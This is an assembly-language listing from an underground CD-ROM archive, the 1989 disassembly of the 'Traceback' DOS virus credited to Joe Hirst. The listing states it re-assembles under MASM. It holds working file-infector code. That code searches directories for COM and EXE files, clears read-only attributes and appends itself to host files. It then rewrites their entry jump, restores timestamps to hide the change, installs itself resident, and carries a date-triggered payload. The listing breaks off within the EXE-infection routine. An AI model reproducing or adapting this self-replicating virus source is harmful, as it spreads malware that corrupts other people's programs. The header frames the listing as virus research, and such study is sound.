home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tracebck.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  40.5 KB  |  1,304 lines

  1.     page    65,132
  2.  
  3.     title    The 'Traceback' Virus
  4.  
  5. ; ╔══════════════════════════════════════════════════════════════════════════╗
  6.  
  7. ; ║                 British Computer Virus Research Centre                   ║
  8.  
  9. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  10.  
  11. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  12.  
  13. ; ║                                                                          ║
  14.  
  15. ; ║                          The 'Traceback' Virus                           ║
  16.  
  17. ; ║                Disassembled by Joe Hirst,      June  1989                ║
  18.  
  19. ; ║                                                                          ║
  20.  
  21. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  22.  
  23. ; ║                                                                          ║
  24.  
  25. ; ║      This listing is only to be made available to virus researchers      ║
  26.  
  27. ; ║                or software writers on a need-to-know basis.              ║
  28.  
  29. ; ╚══════════════════════════════════════════════════════════════════════════╝
  30.  
  31.  
  32.  
  33.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  34.  
  35.  
  36.  
  37. BOOT    SEGMENT AT 0
  38.  
  39.  
  40.  
  41.     ORG    24H
  42.  
  43. BW0024    DW    ?            ; Int 9 offset
  44.  
  45. BW0026    DW    ?            ; Int 9 segment
  46.  
  47.  
  48.  
  49.     ORG    70H
  50.  
  51. BW0070    DW    ?            ; Int 1CH offset
  52.  
  53. BW0072    DW    ?            ; Int 1CH segment
  54.  
  55.  
  56.  
  57.     ORG    80H
  58.  
  59. BD0080    EQU    THIS DWORD
  60.  
  61. BW0080    DW    ?            ; Int 20H offset
  62.  
  63. BW0082    DW    ?            ; Int 20H segment
  64.  
  65. BW0084    DW    ?            ; Int 21H offset
  66.  
  67. BW0086    DW    ?            ; Int 21H segment
  68.  
  69.  
  70.  
  71.     ORG    90H
  72.  
  73. BW0090    DW    ?            ; Int 24H offset
  74.  
  75. BW0092    DW    ?            ; Int 24H segment
  76.  
  77.  
  78.  
  79.     ORG    9CH
  80.  
  81. BD009C    EQU    THIS DWORD
  82.  
  83. BW009C    DW    ?            ; Int 27H offset
  84.  
  85. BW009E    DW    ?            ; Int 27H segment
  86.  
  87.  
  88.  
  89.     ORG    449H
  90.  
  91. BB0449    DB    ?            ; Current VDU mode
  92.  
  93.  
  94.  
  95. BOOT    ENDS
  96.  
  97.  
  98.  
  99. CODE    SEGMENT BYTE PUBLIC 'CODE'
  100.  
  101.     ASSUME CS:CODE,DS:CODE
  102.  
  103.  
  104.  
  105. DW0000    DW    02EEBH            ; \ Stored start of host program
  106.  
  107. DB0002    DB    090H            ; /
  108.  
  109. DB0003    DB    0FFH
  110.  
  111. DB0004    DB    0FBH            ; Infection countdown
  112.  
  113. DD0005    EQU    THIS DWORD
  114.  
  115. DW0005    DW    100H
  116.  
  117. DW0007    DW    0CBBH
  118.  
  119. DW0009    DW    4DH
  120.  
  121. DB000B    DB    0, 0
  122.  
  123. DB000D    DB    0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH
  124.  
  125. DB0014    DB    'o - Copyright S & S E', 29 DUP (0)
  126.  
  127. CURDIR    DB    0, 'PLIC', 60 DUP (0)    ; Current directory
  128.  
  129. DTAFLE    DB    3, '????????COM ', 2, 0, 0, 0, 'c:\m '
  130.  
  131.     DB    1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0
  132.  
  133.     DB    'COMMAND.COM', 3 DUP (0)
  134.  
  135. DTADIR    DB    1, '???????????', 10H, 5, 7 DUP (0)
  136.  
  137.     DB    20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0
  138.  
  139.     DB    'CAT-TWO.ARC', 0, 0, 0
  140.  
  141. DB00DF    DB    0
  142.  
  143. SEGREG    DW    0AEBH
  144.  
  145. PTHDSK    DB    2            ; Pathname drive
  146.  
  147. CURDSK    DB    2            ; Current disk
  148.  
  149. ATTR_F    DW    0020H            ; File attributes
  150.  
  151. TIME_F    DW    22B6H            ; File time
  152.  
  153. DATE_F    DW    1174H            ; File date
  154.  
  155. I24_OF    DW    04EBH            ; Old Int 24H offset
  156.  
  157. I24_SG    DW    0A17H            ; Old Int 24H segment
  158.  
  159. CRTERR    DB    0            ; Critical error flag
  160.  
  161. F_HAND    DW    0            ; File handle
  162.  
  163. F_TIME    DW    5951H            ; File time
  164.  
  165. F_DATE    DW    0F8BH            ; File date
  166.  
  167. F_ATTR    DW    0020H            ; File attributes
  168.  
  169. V_SIGN    DB    056H, 047H, 031H    ; Virus signature
  170.  
  171.  
  172.  
  173.     ; Entry point
  174.  
  175.  
  176.  
  177. BP0010:    JMP    SHORT BP0020
  178.  
  179.  
  180.  
  181.     DW    SIGNAT
  182.  
  183.  
  184.  
  185. BP0020:    CALL    BP0640            ; Get relocation constant in SI
  186.  
  187.     CALL    BP0600            ; Set Int 24H vector
  188.  
  189.     MOV    AH,19H            ; Get current disk function
  190.  
  191.     INT    21H            ; DOS service
  192.  
  193.     MOV    PTH_OF[SI],SI         ; \ Address of pathname
  194.  
  195.     ADD    PTH_OF[SI],OFFSET DB0884 ; /
  196.  
  197.     MOV    PTH_SG[SI],CS        ; Segment of pathname
  198.  
  199.     MOV    CURDSK[SI],AL        ; Save current disk
  200.  
  201.     CALL    BP0510            ; Get installed virus segment
  202.  
  203.     MOV    DL,PTHDSK[DI]        ; Get pathname drive in installed virus
  204.  
  205.     MOV    AX,DS            ; Get segment in installed virus
  206.  
  207.     PUSH    CS            ; \ Set DS to CS
  208.  
  209.     POP    DS            ; /
  210.  
  211.     JNZ    BP0030            ; Branch if not installed
  212.  
  213.     MOV    PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus
  214.  
  215.     MOV    PTH_SG[SI],AX        ; Segment in installed virus
  216.  
  217.     CMP    DL,0FFH            ; Is there a pathname drive?
  218.  
  219.     JE    BP0030            ; Branch if not
  220.  
  221.     MOV    AH,0EH            ; Select disk function
  222.  
  223.     INT    21H            ; DOS service
  224.  
  225. BP0030:    MOV    BYTE PTR SWTCHB[SI],80H    ; Set on switch eight
  226.  
  227.     MOV    F_HAND[SI],0        ; Clear file handle
  228.  
  229.     MOV    AH,2AH            ; Get date function
  230.  
  231.     INT    21H            ; DOS service
  232.  
  233.     CMP    CX,07C4H        ; Is year 1988?
  234.  
  235.     JGE    BP0040            ; Branch if not before
  236.  
  237.     JMP    SHORT BP0070
  238.  
  239.  
  240.  
  241. PTH_OF    DW    0F8CH            ; Offset of pathname
  242.  
  243. PTH_SG    DW    0AEBH            ; Segment of pathname
  244.  
  245. ISWTCH    DB    0            ; Infected file switch
  246.  
  247.  
  248.  
  249.     ; 1988 or later
  250.  
  251.  
  252.  
  253. BP0040:    JG    BP0050            ; Branch if after 1988
  254.  
  255.     CMP    DH,0CH            ; Is month December?
  256.  
  257.     JL    BP0070            ; Branch if not
  258.  
  259.     CMP    DL,5            ; 5th of December?
  260.  
  261.     JL    BP0070            ; Branch if before
  262.  
  263.     CMP    DL,1CH            ; 28th of December?
  264.  
  265.     JL    BP0060            ; Branch if before
  266.  
  267. BP0050:    MOV    DSPCNT[SI],0FFDCH    ; Start display count (60 mins)
  268.  
  269.     MOV    BYTE PTR SWTCHB[SI],88H    ; Switches four & eight
  270.  
  271. BP0060:    CMP    DB0004[SI],0F8H        ; Has infection count reached target?
  272.  
  273.     JNB    BP0080            ; Branch if not
  274.  
  275.     ASSUME    DS:NOTHING
  276.  
  277. BP0070:    MOV    CRTERR[SI],0        ; Clear critical error flag
  278.  
  279.     JMP    BP0270
  280.  
  281.  
  282.  
  283.     ; Unreachable code
  284.  
  285.  
  286.  
  287.     ASSUME    DS:CODE
  288.  
  289.     CMP    DB0004[SI],0F8H        ; Has infection count reached target?
  290.  
  291.     JNB    BP0080            ; Branch if not
  292.  
  293.     OR    BYTE PTR SWTCHB[SI],4    ; Set on switch three
  294.  
  295.  
  296.  
  297. BP0080:    MOV    DB00DF[SI],0        ; Set not-first-time switch off
  298.  
  299.     MOV    DX,PTH_OF[SI]        ; Get pathname offset
  300.  
  301.     MOV    DS,PTH_SG[SI]        ; Get pathname segment
  302.  
  303.     MOV    AX,4300H        ; Get attributes function
  304.  
  305.     CALL    BP0230            ; Perform a DOS service
  306.  
  307.     JB    BP0090            ; Branch if error
  308.  
  309.     ASSUME    DS:NOTHING
  310.  
  311.     MOV    F_ATTR[SI],CX        ; Save file attributes
  312.  
  313.     AND    CL,0FEH            ; Switch off read-only
  314.  
  315.     MOV    AX,4301H        ; Set attributes function
  316.  
  317.     CALL    BP0230            ; Perform a DOS service
  318.  
  319.     JB    BP0090            ; Branch if error
  320.  
  321.     MOV    AX,3D02H        ; Open handle R/W function
  322.  
  323.     INT    21H            ; DOS service
  324.  
  325.     JB    BP0090            ; Branch if error
  326.  
  327.     PUSH    CS            ; \ Set DS to CS
  328.  
  329.     POP    DS            ; /
  330.  
  331.     ASSUME    DS:CODE
  332.  
  333.     MOV    F_HAND[SI],AX        ; Save file handle
  334.  
  335.     MOV    BX,AX            ; Move file handle
  336.  
  337.     MOV    AX,5700H        ; Get file date and time function
  338.  
  339.     INT    21H            ; DOS service
  340.  
  341.     MOV    F_TIME[SI],CX        ; Save file time
  342.  
  343.     MOV    F_DATE[SI],DX        ; Save file date
  344.  
  345.     DEC    DB0004[SI]        ; Decrement infection count
  346.  
  347.     MOV    DX,FLENLO[SI]        ; Get file length, low word
  348.  
  349.     MOV    CX,FLENHI[SI]        ; Get file length, high word
  350.  
  351.     ADD    DX,OFFSET DB0004    ; \ Add to length
  352.  
  353.     ADC    CX,0            ; /
  354.  
  355.     MOV    AX,4200H        ; Move file pointer (start) function
  356.  
  357.     INT    21H            ; DOS service
  358.  
  359. BP0090:    PUSH    CS            ; \ Set DS to CS
  360.  
  361.     POP    DS            ; /
  362.  
  363.     TEST    BYTE PTR SWTCHB[SI],4    ; Test switch three
  364.  
  365.     JZ    BP0100            ; Branch if off
  366.  
  367.     CALL    BP0330            ; Write infection count
  368.  
  369.     JMP    BP0270
  370.  
  371.  
  372.  
  373.     ; Change directory to root
  374.  
  375.  
  376.  
  377. BP0100:    XOR    DL,DL            ; Default drive
  378.  
  379.     MOV    AH,47H            ; Get current directory function
  380.  
  381.     PUSH    SI
  382.  
  383.     ADD    SI,46H            ; Address directory store
  384.  
  385.     INT    21H            ; DOS service
  386.  
  387.     POP    SI
  388.  
  389.     CMP    CRTERR[SI],0        ; Test critical error flag
  390.  
  391.     JNE    BP0110            ; Branch if set
  392.  
  393.     CALL    BP0250            ; Make root dir current dir
  394.  
  395.     JNB    BP0120            ; Branch if no error
  396.  
  397. BP0110:    JMP    BP0070
  398.  
  399.  
  400.  
  401.     ; Find COM files
  402.  
  403.  
  404.  
  405. BP0120:    MOV    DX,SI            ; \ Address DTA area
  406.  
  407.     ADD    DX,OFFSET DTAFLE    ; /
  408.  
  409.     MOV    AH,1AH            ; Set DTA function
  410.  
  411.     INT    21H            ; DOS service
  412.  
  413.     MOV    [SI+5],'.*'        ; \
  414.  
  415.     MOV    [SI+7],'OC'        ;  ) '*.COM'
  416.  
  417.     MOV    WORD PTR [SI+9],'M'    ; /
  418.  
  419.     MOV    AH,4EH            ; Find first file function
  420.  
  421.     MOV    DX,SI            ; \ Address file spec
  422.  
  423.     ADD    DX,5            ; /
  424.  
  425. BP0130:    MOV    CX,0020H        ; Attributes - archive
  426.  
  427.     CALL    BP0230            ; Perform a DOS service
  428.  
  429.     JB    BP0160            ; Move on to EXE files
  430.  
  431.     MOV    DX,SI            ; \ Address filename in DTA
  432.  
  433.     ADD    DX,OFFSET DTAFLE+1EH    ; /
  434.  
  435.     MOV    ISWTCH[SI],0        ; Set infected file switch off
  436.  
  437.     CALL    BP0350            ; Process file
  438.  
  439.     JB    BP0150            ; Error or infected file found
  440.  
  441.     CALL    BP0330            ; Write infection count
  442.  
  443. BP0140:    JMP    BP0260
  444.  
  445.  
  446.  
  447. BP0150:    CMP    CRTERR[SI],0        ; Test critical error flag
  448.  
  449.     JNE    BP0140            ; Branch if set
  450.  
  451.     CMP    ISWTCH[SI],0        ; Test infected file switch
  452.  
  453.     JNE    BP0200            ; Branch if on
  454.  
  455.     MOV    AH,4FH            ; Find next file function
  456.  
  457.     JMP    BP0130
  458.  
  459.  
  460.  
  461.     ; Find EXE files
  462.  
  463.  
  464.  
  465. BP0160:    MOV    [SI+7],'XE'        ; \ '*.EXE'
  466.  
  467.     MOV    WORD PTR [SI+9],'E'    ; /
  468.  
  469.     MOV    AH,4EH            ; Find first file function
  470.  
  471.     MOV    DX,SI            ; \ Address file spec
  472.  
  473.     ADD    DX,5            ; /
  474.  
  475. BP0170:    MOV    CX,0020H        ; Attributes - archive
  476.  
  477.     CALL    BP0230            ; Perform a DOS service
  478.  
  479.     JB    BP0200            ; No more files
  480.  
  481.     MOV    DX,SI            ; \ Address filename in DTA
  482.  
  483.     ADD    DX,OFFSET DTAFLE+1EH    ; /
  484.  
  485.     MOV    ISWTCH[SI],0        ; Set infected file switch off
  486.  
  487.     CALL    BP0350            ; Process file
  488.  
  489.     JB    BP0190            ; Error or infected file found
  490.  
  491.     CALL    BP0330            ; Write infection count
  492.  
  493. BP0180:    JMP    BP0260
  494.  
  495.  
  496.  
  497.     ASSUME    DS:NOTHING
  498.  
  499. BP0190:    CMP    CRTERR[SI],0        ; Test critical error flag
  500.  
  501.     JNE    BP0180            ; Branch if set
  502.  
  503.     ASSUME    DS:CODE
  504.  
  505.     CMP    ISWTCH[SI],0        ; Test infected file switch
  506.  
  507.     JNE    BP0200            ; Branch if on
  508.  
  509.     MOV    AH,4FH            ; Find next file function
  510.  
  511.     JMP    BP0170
  512.  
  513.  
  514.  
  515. BP0200:    CALL    BP0250            ; Make root dir current dir
  516.  
  517.     MOV    DX,SI            ; \ Address 2nd DTA
  518.  
  519.     ADD    DX,OFFSET DTADIR    ; /
  520.  
  521.     MOV    AH,1AH            ; Set DTA function
  522.  
  523.     INT    21H            ; DOS service
  524.  
  525. BP0210:    MOV    AH,4FH            ; Find next file function
  526.  
  527.     MOV    CX,0010H        ; Find directories
  528.  
  529.     CMP    DB00DF[SI],0        ; First time?
  530.  
  531.     JNE    BP0220            ; Branch if not
  532.  
  533.     MOV    DB00DF[SI],1        ; Set not-first-time switch
  534.  
  535.     MOV    [SI+5],'.*'        ; \ '*.*'
  536.  
  537.     MOV    WORD PTR [SI+7],'*'    ; /
  538.  
  539.     MOV    AH,4EH            ; Find first file function
  540.  
  541.     MOV    DX,SI            ; \ Address file spec
  542.  
  543.     ADD    DX,5            ; /
  544.  
  545. BP0220:    CALL    BP0230            ; Perform a DOS service
  546.  
  547.     JB    BP0260            ; No more files
  548.  
  549.     TEST    DTADIR[SI+15H],10H    ; Is it a directory?
  550.  
  551.     JZ    BP0210            ; Branch if not
  552.  
  553.     MOV    DX,SI            ; \ Address file name in DTA
  554.  
  555.     ADD    DX,OFFSET DTADIR+1EH    ; /
  556.  
  557.     MOV    AH,3BH            ; Change current directory function
  558.  
  559.     CALL    BP0230            ; Perform a DOS service
  560.  
  561.     JB    BP0260            ; Branch if error
  562.  
  563.     JMP    BP0120            ; Look for COM files
  564.  
  565.  
  566.  
  567.     ; Perform a DOS service
  568.  
  569.  
  570.  
  571. BP0230:    INT    21H            ; DOS service
  572.  
  573.     JB    BP0240            ; Branch if error
  574.  
  575.     ASSUME    DS:NOTHING
  576.  
  577.     TEST    CRTERR[SI],0FFH        ; Test critical error flag
  578.  
  579.     JZ    BP0240            ; Branch if not set
  580.  
  581.     STC
  582.  
  583. BP0240:    RET
  584.  
  585.  
  586.  
  587.     ; Make root dir current dir
  588.  
  589.  
  590.  
  591. BP0250:    MOV    WORD PTR [SI+5],'\'    ; Root dir
  592.  
  593.     MOV    DX,SI            ; \ Address root dir pathname
  594.  
  595.     ADD    DX,5            ; /
  596.  
  597.     MOV    AH,3BH            ; Change current directory function
  598.  
  599.     CALL    BP0230            ; Perform a DOS service
  600.  
  601.     RET
  602.  
  603.  
  604.  
  605.     ASSUME    DS:CODE
  606.  
  607. BP0260:    CALL    BP0250            ; Make root dir current dir
  608.  
  609.     MOV    DX,SI            ; \ Address
  610.  
  611.     ADD    DX,46H            ; /
  612.  
  613.     MOV    AH,3BH            ; Change current directory function
  614.  
  615.     INT    21H            ; DOS service
  616.  
  617. BP0270:    MOV    BX,F_HAND[SI]        ; Get file handle
  618.  
  619.     OR    BX,BX            ; Test for a handle
  620.  
  621.     JZ    BP0290            ; Branch if none
  622.  
  623.     MOV    CX,F_ATTR[SI]        ; Get file attributes
  624.  
  625.     MOV    DX,PTH_OF[SI]        ; Get pathname offset
  626.  
  627.     MOV    DS,PTH_SG[SI]        ; Get pathname segment
  628.  
  629.     CMP    CX,20H            ; Are attributes archive?
  630.  
  631.     JE    BP0280            ; Branch if yes
  632.  
  633.     MOV    AX,4301H        ; Set attributes function
  634.  
  635.     INT    21H            ; DOS service
  636.  
  637. BP0280:    PUSH    CS            ; \ Set DS to CS
  638.  
  639.     POP    DS            ; /
  640.  
  641.     MOV    CX,F_TIME[SI]        ; Get file time
  642.  
  643.     MOV    DX,F_DATE[SI]        ; Get file date
  644.  
  645.     MOV    AX,5701H        ; Set file date and time function
  646.  
  647.     INT    21H            ; DOS service
  648.  
  649.     MOV    AH,3EH            ; Close handle function
  650.  
  651.     INT    21H            ; DOS service
  652.  
  653. BP0290:    MOV    DL,CURDSK[SI]        ; Get current disk
  654.  
  655.     MOV    AH,0EH            ; Select disk function
  656.  
  657.     INT    21H            ; DOS service
  658.  
  659.     CALL    BP0610            ; Restore Int 24H vector
  660.  
  661.     POP    AX            ; ? 
  662.  
  663.     MOV    SEGREG[SI],AX        ; Save segment
  664.  
  665.     CMP    BYTE PTR [SI+3],0FFH    ; Should virus be installed?
  666.  
  667.     JE    BP0300            ; Branch if yes
  668.  
  669.     ADD    AX,0010H        ; Add PSP length to segment
  670.  
  671.     ADD    WORD PTR [SI+2],AX    ; Store segment
  672.  
  673.     POP    AX            ; ?
  674.  
  675.     POP    DS            ; ?
  676.  
  677.     JMP    DWORD PTR CS:[SI]    ; Branch to ?
  678.  
  679.  
  680.  
  681.     ; Install resident copy of virus
  682.  
  683.  
  684.  
  685. BP0300:    CALL    BP0510            ; Get installed virus segment
  686.  
  687.     PUSH    CS            ; \ Set DS to CS
  688.  
  689.     POP    DS            ; /
  690.  
  691.     MOV    AX,[SI]            ; \ Replace first word of host
  692.  
  693.     MOV    DW0000+100H,AX        ; /
  694.  
  695.     MOV    AL,[SI+2]        ; \ Replace third byte of host
  696.  
  697.     MOV    DB0002+100H,AL        ; /
  698.  
  699.     JZ    BP0310            ; Branch if installed
  700.  
  701.     MOV    BX,DS            ; Get current segment
  702.  
  703.     ADD    BX,01D0H        ; Add length of installed segment
  704.  
  705.     MOV    ES,BX            ; Segment to copy to
  706.  
  707.     MOV    DI,SI            ; Start of virus
  708.  
  709.     MOV    DX,SI            ; Copy relocation factor
  710.  
  711.     MOV    CX,OFFSET ENDADR    ; Length of virus
  712.  
  713.     CALL    BP1160            ; Copy virus and transfer control
  714.  
  715.     MOV    CX,DX            ; Relocation factor (as length)
  716.  
  717.     MOV    SI,DX            ; Relocation factor as source
  718.  
  719.     DEC    SI            ; Back one byte
  720.  
  721.     MOV    DI,SI            ; Same offset as target
  722.  
  723.     STD                ; Going backwards
  724.  
  725.     REPZ    MOVSB            ; Copy host program
  726.  
  727.     PUSH    DS            ; \ Set ES to DS
  728.  
  729.     POP    ES            ; /
  730.  
  731.     MOV    DI,0100H        ; Target following PSP
  732.  
  733.     MOV    DS,BX            ; Current segment as source
  734.  
  735.     MOV    SI,DX            ; Start of virus
  736.  
  737.     MOV    CX,OFFSET ENDADR    ; Length of virus
  738.  
  739.     CALL    BP1160            ; Copy virus and transfer control
  740.  
  741.     MOV    SI,0100H        ; New relocation factor
  742.  
  743.     PUSH    CS            ; \ Set DS to CS
  744.  
  745.     POP    DS            ; /
  746.  
  747.     CALL    BP0580            ; Install interrupts
  748.  
  749.     MOV    DX,01D0H        ; Get length of installed segment
  750.  
  751. BP0310:    MOV    DI,CS            ; \ New segment for host
  752.  
  753.     ADD    DI,DX            ; /
  754.  
  755.     MOV    WORD PTR [SI+5],0100H    ; Host offset
  756.  
  757.     MOV    [SI+7],DI        ; Host segment
  758.  
  759.     POP    AX            ; ?
  760.  
  761.     POP    DS            ; ?
  762.  
  763.     MOV    DS,DI            ; \
  764.  
  765.     MOV    ES,DI            ;  ) Set up other segment registers
  766.  
  767.     MOV    SS,DI            ; /
  768.  
  769.     XOR    BX,BX            ; Clear register
  770.  
  771.     XOR    CX,CX            ; Clear register
  772.  
  773.     XOR    BP,BP            ; Clear register
  774.  
  775.     JMP    DWORD PTR CS:[SI+5]    ; Branch to host program
  776.  
  777.  
  778.  
  779.     ; Clear error flag and return
  780.  
  781.  
  782.  
  783.     ASSUME    DS:NOTHING
  784.  
  785. BP0320:    MOV    CRTERR[SI],0        ; Clear critical error flag
  786.  
  787.     RET
  788.  
  789.  
  790.  
  791.     ; Write infection count
  792.  
  793.  
  794.  
  795.     ASSUME    DS:CODE
  796.  
  797. BP0330:    MOV    BX,F_HAND[SI]        ; Get file handle
  798.  
  799.     OR    BX,BX            ; Test for a handle
  800.  
  801.     JZ    BP0340            ; Branch if none
  802.  
  803.     MOV    DX,SI            ; \ Address infection count
  804.  
  805.     ADD    DX,OFFSET DB0004    ; /
  806.  
  807.     MOV    CX,1            ; Length to write
  808.  
  809.     MOV    AH,40H            ; Write handle function
  810.  
  811.     INT    21H            ; DOS service
  812.  
  813. BP0340:    RET
  814.  
  815.  
  816.  
  817.     ; Process file
  818.  
  819.  
  820.  
  821. BP0350:    PUSH    DX
  822.  
  823.     MOV    AH,19H            ; Get current disk function
  824.  
  825.     INT    21H            ; DOS service
  826.  
  827.     ADD    AL,'A'            ; Convert to letter
  828.  
  829.     MOV    AH,':'            ; Disk separator
  830.  
  831.     MOV    WORD PTR DB0884[SI],AX    ; Disk in pathname
  832.  
  833.     MOV    BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname
  834.  
  835.     PUSH    SI
  836.  
  837.     ADD    SI,OFFSET DB0884+3    ; Address next position in pathname
  838.  
  839.     MOV    AH,47H            ; Get current directory function
  840.  
  841.     MOV    DI,SI            ; Buffer area
  842.  
  843.     XOR    DL,DL            ; Default drive
  844.  
  845.     INT    21H            ; DOS service
  846.  
  847.     POP    SI
  848.  
  849.     DEC    DI            ; Back one character
  850.  
  851. BP0360:    INC    DI            ; Next character
  852.  
  853.     MOV    AL,[DI]            ; Get character
  854.  
  855.     OR    AL,AL            ; Is it zero
  856.  
  857.     JNZ    BP0360            ; Branch if not
  858.  
  859.     POP    BX
  860.  
  861.     MOV    BYTE PTR [DI],'\'    ; Store directory separator
  862.  
  863.     INC    DI            ; Next position
  864.  
  865.     MOV    DX,BX            ; Copy filename pointer
  866.  
  867. BP0370:    MOV    AL,[BX]            ; Get character
  868.  
  869.     MOV    [DI],AL            ; Store in pathname
  870.  
  871.     INC    BX            ; Next input position
  872.  
  873.     INC    DI            ; Next output position
  874.  
  875.     OR    AL,AL            ; End of filename?
  876.  
  877.     JNZ    BP0370            ; Next character if not
  878.  
  879. BP0380:    MOV    AX,4300H        ; Get attributes function
  880.  
  881.     CALL    BP0230            ; Perform a DOS service
  882.  
  883.     JB    BP0320            ; Branch if error
  884.  
  885.     ASSUME    DS:NOTHING
  886.  
  887.     MOV    ATTR_F[SI],CX        ; Save attributes
  888.  
  889.     AND    CX,00FEH        ; Set off read only
  890.  
  891.     MOV    AX,4301H        ; Set attributes function
  892.  
  893.     CALL    BP0230            ; Perform a DOS service
  894.  
  895.     JB    BP0320            ; Branch if error
  896.  
  897.     MOV    AX,3D02H        ; Open handle R/W function
  898.  
  899.     CALL    BP0230            ; Perform a DOS service
  900.  
  901.     JB    BP0320            ; Branch if error
  902.  
  903.     MOV    BX,AX            ; Move handle
  904.  
  905.     PUSH    DS
  906.  
  907.     PUSH    DX
  908.  
  909.     CALL    BP0400            ; Infect file if not infected
  910.  
  911.     POP    DX
  912.  
  913.     POP    DS
  914.  
  915.     PUSHF
  916.  
  917.     MOV    CX,ATTR_F[SI]        ; Get attributes
  918.  
  919.     CMP    CX,20H            ; Archive only?
  920.  
  921.     JE    BP0390            ; Branch if yes
  922.  
  923.     MOV    AX,4301H        ; Set attributes function
  924.  
  925.     INT    21H            ; DOS service
  926.  
  927. BP0390:    MOV    CX,TIME_F[SI]        ; Get file time
  928.  
  929.     MOV    DX,DATE_F[SI]        ; Get file date
  930.  
  931.     MOV    AX,5701H        ; Set file date and time function
  932.  
  933.     INT    21H            ; DOS service
  934.  
  935.     MOV    AH,3EH            ; Close handle function
  936.  
  937.     INT    21H            ; DOS service
  938.  
  939.     POPF
  940.  
  941.     RET
  942.  
  943.  
  944.  
  945.     ; Infect file if not infected
  946.  
  947.  
  948.  
  949. BP0400:    MOV    AX,5700H        ; Get file date and time function
  950.  
  951.     INT    21H            ; DOS service
  952.  
  953.     PUSH    CS            ; \ Set DS to CS
  954.  
  955.     POP    DS            ; /
  956.  
  957.     ASSUME    DS:CODE
  958.  
  959.     MOV    TIME_F[SI],CX        ; Save file time
  960.  
  961.     MOV    DATE_F[SI],DX        ; Save file date
  962.  
  963.     MOV    DX,SI            ; \ Address buffer
  964.  
  965.     ADD    DX,0DH            ; /
  966.  
  967.     MOV    DI,DX            ; Copy this address
  968.  
  969.     MOV    AH,3FH            ; Read handle function
  970.  
  971.     MOV    CX,001CH        ; EXE header length
  972.  
  973.     INT    21H            ; DOS service
  974.  
  975.     CMP    WORD PTR [DI],'ZM'    ; EXE header?
  976.  
  977.     JE    BP0430            ; Branch if yes
  978.  
  979.     CALL    BP0500            ; Move pointer to end of file
  980.  
  981.     ADD    AX,OFFSET SIGNAT+100H    ; Add length of virus
  982.  
  983.     JB    BP0410            ; Branch if too big for a COM
  984.  
  985.     CMP    BYTE PTR [DI],0E9H    ; Does it start with a near jump?
  986.  
  987.     JNE    BP0420            ; Branch if not
  988.  
  989.     MOV    DX,[DI+1]        ; Get displacement from jump
  990.  
  991.     XOR    CX,CX            ; Clear top 
  992.  
  993.     MOV    AX,4200H        ; Move file pointer (start) function
  994.  
  995.     INT    21H            ; DOS service
  996.  
  997.     MOV    DX,DI            ; Read buffer
  998.  
  999.     ADD    DX,001CH        ; Add length of EXE header
  1000.  
  1001.     MOV    AH,3FH            ; Read handle function
  1002.  
  1003.     MOV    CX,3            ; Length to read
  1004.  
  1005.     INT    21H            ; DOS service
  1006.  
  1007.     CALL    BP0440            ; Test virus signature on file
  1008.  
  1009.     JNB    BP0420            ; Branch if not present
  1010.  
  1011.     ASSUME    DS:NOTHING
  1012.  
  1013.     MOV    ISWTCH[SI],1        ; Set infected file switch on
  1014.  
  1015. BP0410:    RET
  1016.  
  1017.  
  1018.  
  1019.     ASSUME    DS:CODE
  1020.  
  1021. BP0420:    CALL    BP0500            ; Move pointer to end of file
  1022.  
  1023.     MOV    FLENLO[SI],AX        ; Save file length, low word
  1024.  
  1025.     MOV    FLENHI[SI],DX        ; Save file length, high word
  1026.  
  1027.     PUSH    AX
  1028.  
  1029.     MOV    WORD PTR [DI+3],0FFFFH    ; Initialise count
  1030.  
  1031.     MOV    CX,5            ; Length to write
  1032.  
  1033.     MOV    AH,40H            ; Write handle function
  1034.  
  1035.     MOV    DX,DI            ; Address start of buffer
  1036.  
  1037.     INT    21H            ; DOS service
  1038.  
  1039.     MOV    DX,SI            ; \ Address start of virus
  1040.  
  1041.     ADD    DX,5            ; /
  1042.  
  1043.     MOV    CX,OFFSET SIGNAT    ; Length of virus
  1044.  
  1045.     MOV    AH,40H            ; Write handle function
  1046.  
  1047.     INT    21H            ; DOS service
  1048.  
  1049.     MOV    AX,4200H        ; Move file pointer (start) function
  1050.  
  1051.     XOR    CX,CX            ; \ No displacement
  1052.  
  1053.     XOR    DX,DX            ; /
  1054.  
  1055.     INT    21H            ; DOS service
  1056.  
  1057.     MOV    BYTE PTR [DI],0E9H    ; Near jump instruction
  1058.  
  1059.     POP    AX            ; Recover length of file
  1060.  
  1061.     ADD    AX,OFFSET BP0010-3    ; Jump offset to entry point
  1062.  
  1063.     MOV    [DI+1],AX        ; Store in jump instruction
  1064.  
  1065.     MOV    DX,DI            ; Address of jump instruction
  1066.  
  1067.     MOV    CX,3            ; Length to write
  1068.  
  1069.     MOV    AH,40H            ; Write handle function
  1070.  
  1071.     INT    21H            ; DOS service
  1072.  
  1073.     CLC
  1074.  
  1075.     RET
  1076.  
  1077.  
  1078.  
  1079.     ; EXE file
  1080.  
  1081.  
  1082.  
  1083. BP0430:    CMP    WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum?
  1084.  
  1085.     JNE    BP0450            ; Branch if not
  1086.  
  1087.     PUSH    SI
  1088.  
  1089.     MOV    SI,[DI+14H]        ; Get initial offset
  1090.  
  1091.     MOV    CX,[DI+16H]        ; Get initial segment
  1092.  
  1093.     MOV    AX,CX            ; Copy segment
  1094.  
  1095.     MOV    CL,CH            ; Move top byte down
  1096.  
  1097.     XOR    CH,CH            ; Clear top
  1098.  
  1099.     SHR    CX,1            ; \
  1100.  
  1101.     SHR    CX,1            ;  \ Move top nibble into position
  1102.  
  1103.     SHR    CX,1            ;  /
  1104.  
  1105.     SHR    CX,1            ; /
  1106.  
  1107.     SHL    AX,1            ; \
  1108.  
  1109.     SHL    AX,1            ;  \ Move rest of segment
  1110.  
  1111.     SHL    AX,1            ;  /
  1112.  
  1113.     SHL    AX,1            ; /
  1114.  
